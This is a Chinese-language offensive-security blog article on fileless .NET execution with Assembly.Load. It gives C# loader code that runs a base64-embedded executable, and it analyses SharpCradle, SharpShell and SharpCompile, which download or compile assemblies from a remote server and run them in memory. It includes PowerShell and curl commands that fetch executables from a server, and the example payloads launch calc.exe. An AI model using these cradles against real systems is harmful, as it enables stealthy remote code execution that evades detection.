添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

在之前的文章 《从内存加载.NET程序集(execute-assembly)的利用分析》 介绍了 "execute-assembly" 的实现方法和利用思路,能够从内存中加载.NET程序集。这个功能不需要向硬盘写入文件,十分隐蔽。

与此相似的方法还有一个是 Assembly.Load ,同样能够从内存中加载.NET程序集。

本文将会结合三个开源工程,介绍 Assembly.Load 的实现方法,分析利用思路。

0x01 简介

本文将要介绍以下内容:

  • SharpCradle的利用分析
  • SharpShell的利用分析
  • SharpCompile的利用分析
  • 0x02 基础知识

    参考资料:

    https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?view=netframework-4.5

    1.Assembly.Load()、Assembly.LoadFrom()和Assembly.LoadFile()的区别

    Assembly.Load()是从String或AssemblyName类型加载程序集,可以读取字符串形式的程序集,也就是说,文件不需要写入硬盘

    Assembly.LoadFrom()从指定文件中加载程序集,同时会加载目标程序集所引用和依赖的其他程序集

    Assembly.LoadFrom("a.dll") ,如果a.dll中引用了b.dll,那么会同时加载a.dll和b.dll

    Assembly.LoadFile()也是从指定文件中加载程序集,但不会加载目标程序集所引用和依赖的其他程序集

    Assembly.LoadFile("a.dll") ,如果a.dll中引用了b.dll,那么不会加载b.dll

    2.Assembly.Load()的实现示例

    (1)编写测试程序

    测试程序的代码如下:

    using System;
    namespace TestApplication
    	public class Program
        		public static void Main()
            		Console.WriteLine("Main");
    	public class aaa
        		public static void bbb()
            		System.Diagnostics.Process p = new System.Diagnostics.Process();
            		p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
            		p.Start();
    

    使用csc.exe进行编译:

    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:testcalc.exe test.cs
    

    生成testcalc.exe

    (2)读取testcalc.exe的内容,并作base64加密

    代码如下:

    using System;
    using System.Reflection;
    namespace TestApplication
        public class Program
            public static void Main()
                byte[] buffer = System.IO.File.ReadAllBytes("testcalc.exe");
                string base64str = Convert.ToBase64String(buffer);
                Console.WriteLine(base64str);
    

    (3)解密字符串变量,还原testcalc.exe的内容,使用Assembly.Load()加载程序集并调用方法bbb

    代码如下:

    using System;
    using System.Reflection;
    namespace TestApplication
        public class Program
            public static void Main()
                string base64str = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==";
                byte[] buffer = Convert.FromBase64String(base64str);
                Assembly assembly = Assembly.Load(buffer);          
                Type type = assembly.GetType("TestApplication.aaa");
                MethodInfo method = type.GetMethod("bbb");
                Object obj = assembly.CreateInstance(method.Name);            
                method.Invoke(obj, null);
    

    0x03 SharpCradle的利用分析

    https://github.com/anthemtotheego/SharpCradle

    SharpCradle支持从Web或文件共享下载二进制文件并在内存中加载

    这里需要在远程服务器上保存编译后的二进制文件

    SharpCradle的代码很清晰直观,这里提取出调用Assembly.Load()的相关代码,内容如下:

            public static void loadAssembly(byte[] bin, object[] commands)
                Assembly a = Assembly.Load(bin);
                    a.EntryPoint.Invoke(null, new object[] { commands });
                catch
                    MethodInfo method = a.EntryPoint;
                    if (method != null)
                        object o = a.CreateInstance(method.Name);                    
                        method.Invoke(o, null);
                }//End try/catch            
            }//End loadAssembly
    

    值得注意的是MethodInfo method = a.EntryPoint;,表示调用的为入口函数

    也就是说,被加载的程序集的主要功能要写在Main函数中,例如0x02中的示例代码:

    using System;
    namespace TestApplication
    	public class Program
        		public static void Main()
            		Console.WriteLine("Main");
    	public class aaa
        		public static void bbb()
            		System.Diagnostics.Process p = new System.Diagnostics.Process();
            		p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
            		p.Start();
    

    使用SharpCradle对其进行远程下载执行时,默认只会执行Main函数中的内容

    0x04 SharpShell的利用分析

    https://github.com/cobbr/SharpShell

    SharpShell能够利用Rosyln C#编译器快速交叉编译.NET Framework控制台应用程序或库

    这里只需要代码文件,不需要编译后的二进制文件

    SharpShell包括以下三个子工程:

  • SharpShell
  • 使用Rosyln C#编译器对输入的代码进行编译,通过内存加载后返回执行的结果

    由于Roslyn只能在.NET Core或.NET 4.6+使用,不支持.NET 3.5和.NET 4.0

    所以这里的SharpShell需要.NET 4.6+的环境才能运行

    在我的测试环境中,.NET 4.5也可以运行,如下图

    SharpShell.API需要.NET Core的开发环境,这里可以参考之前的文章《SharpGen利用分析》中SharpGen的开发环境配置

    SharpShell.API使用ASP.NET Core 2.1调用Roslyn,作为http server,接收从SharpShell.API.SharpShell传来的代码,进行编译后回传生成的二进制文件

  • SharpShell.API.SharpShell
  • SharpShell.API.SharpShell可在.NET 3.5和.NET 4.0使用,将代码文件以POST形式发送到http server,接收编译后的二进制文件,通过内存加载后返回执行的结果

    这里只介绍同Assembly.Load()相关的工程SharpShell.API和SharpShell.API.SharpShell

    1.测试环境搭建

    (1)SharpShell.API

    需要.NET Core的开发环境

    git clone https://github.com/cobbr/SharpShell
    cd .\SharpShell\SharpShell.API
    dotnet build --configuration Release
    cd .\bin\Release\netcoreapp2.1
    dotnet SharpShell.API.dll
    

    启动SharpShell.API后,访问:http://127.0.0.1:5000/swagger/index.html

    (2)SharpShell.API.SharpShell

    需要Visual Studio的开发环境,编译后生成文件SharpShell.API.SharpShell.exe

    启动后输入测试命令Shell.ShellExecute("whoami");

    2.实现流程

    这里我使用wireshark抓取整个过程的通信数据,较为直观,如下图

    流程如下:

  • SharpShell.API.SharpShell发送POST请求
  • SharpShell.API接收POST请求后,回复确认消息HTTP/1.1 100 Continue
  • SharpShell.API.SharpShell发送JSON格式的代码文件
  • SharpShell.API接收代码文件,使用Rosyln C#编译器对代码文件进行编译,将生成的内容以base64的形式回复
  • SharpShell.API.SharpShell将接收到的回复内容作base64解密,调用Assembly.Load()进行加载
  • 综上,SharpShell.API.SharpShell也是调用了Assembly.Load()从内存中加载.NET程序集,同SharpCradle的区别如下:

    SharpCradle需要在远程服务器上保存编译后的二进制文件

    SharpShell只需要向远程服务器发送代码文件,不需要编译后的二进制文件

    0x05 SharpCompile的利用分析

    https://github.com/SpiderLabs/SharpCompile

    SharpCompile包括以下两部分:

  • SharpCompileServer
  • 作为http server,用来接收POST请求传来的代码,进行编译后回传生成的二进制文件

    这里使用csc.exe编译代码,而不是SharpShell中的Rosyln C#编译器

    默认csc.exe版本:C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe

    这里需要注意http server和本地.NET的版本是否一致

  • SharpCompile.cna
  • Cobalt Strike的脚本文件,在使用前需要先指定http server的url和脚本文件保存的位置

    默认使用curl将代码文件上传到http server,所以测试环境需要提前安装curl

    1.实际测试

    (1)开启http server

    SharpCompileServer需要Visual Studio的开发环境,编译后生成文件SharpCompileServer.exe

    执行SharpCompileServer.exe,开启http server,如下图

    (2)http server的功能测试

    向http server发送POST格式的代码,查看返回的内容

    test.cs保存代码文件,内容如下:

    using System;
    namespace TestCalc
        class Hello
            static void Main(string[] args)
                System.Diagnostics.Process.Start("calc.exe");
    

    这里分别使用powershell和curl命令进行测试

  • powershell
  • Invoke-RestMethod -Uri http://192.168.112.175 -Method Post -InFile .\test.cs -OutFile .\out.exe
    

    以上命令会读取test.cs中的内容,发送至http server(http://192.168.112.175),将返回的文件保存为out.exe

    Invoke-RestMethod命令需要Powershell v3.0

    curl --request POST --data-binary @test.cs -o out.exe http://192.168.112.175 -v
    

    以上命令会读取test.cs中的内容,发送至http server(http://192.168.112.175),将返回的文件保存为out.exe

    这里使用wireshark抓取整个过程的通信数据,如下图

    (3)SharpCompile.cna测试

    在我的测试环境下,SharpCompile.cna中的exec(@command);命令无法执行,所以无法复现SharpCompile.cna的功能

    2.实现流程

    但是SharpCompile.cna的代码逻辑比较直观,实现流程如下:

  • 调用curl命令将代码文件以post的形式发送至http server,接收内容并保存在本地
  • SharpCompile没有使用Assembly.Load()从内存中加载.NET程序集,而是保存在硬盘执行后删除

    这里可以对其进一步修改,使用Assembly.Load()从内存中加载.NET程序集

    0x06 三个开源工程的比较和利用思路

    SharpCradle需要在远程服务器上保存提前编译好的二进制文件,下载后使用Assembly.Load()从内存中加载.NET程序集

    SharpShell.API.SharpShell向远程服务器发送代码文件,服务器使用Rosyln C#编译器生成二进制文件,下载后使用Assembly.Load()从内存中加载.NET程序集

    SharpCompile向远程服务器发送代码文件,服务器使用csc.exe生成二进制文件,下载到本地后直接执行

    功能最为完整的是SharpShell.API.SharpShell,优点如下:

  • 整个过程在内存执行,不写入文件系统
  • 可生成指定.NET版本的二进制文件
  • 仅需要c#格式的payload,当然也可以使用编译好的二进制文件(只能是.NET程序集)
  • 在利用思路上,Assembly.Loadexecute-assembly类似,区别在于payload的格式不同

    0x07 小结

    本文介绍了Assembly.Load的实现方法,结合三个开源工程SharpCradle、SharpShell和SharpCompile,分析细节,总结利用思路。

    LEAVE A REPLY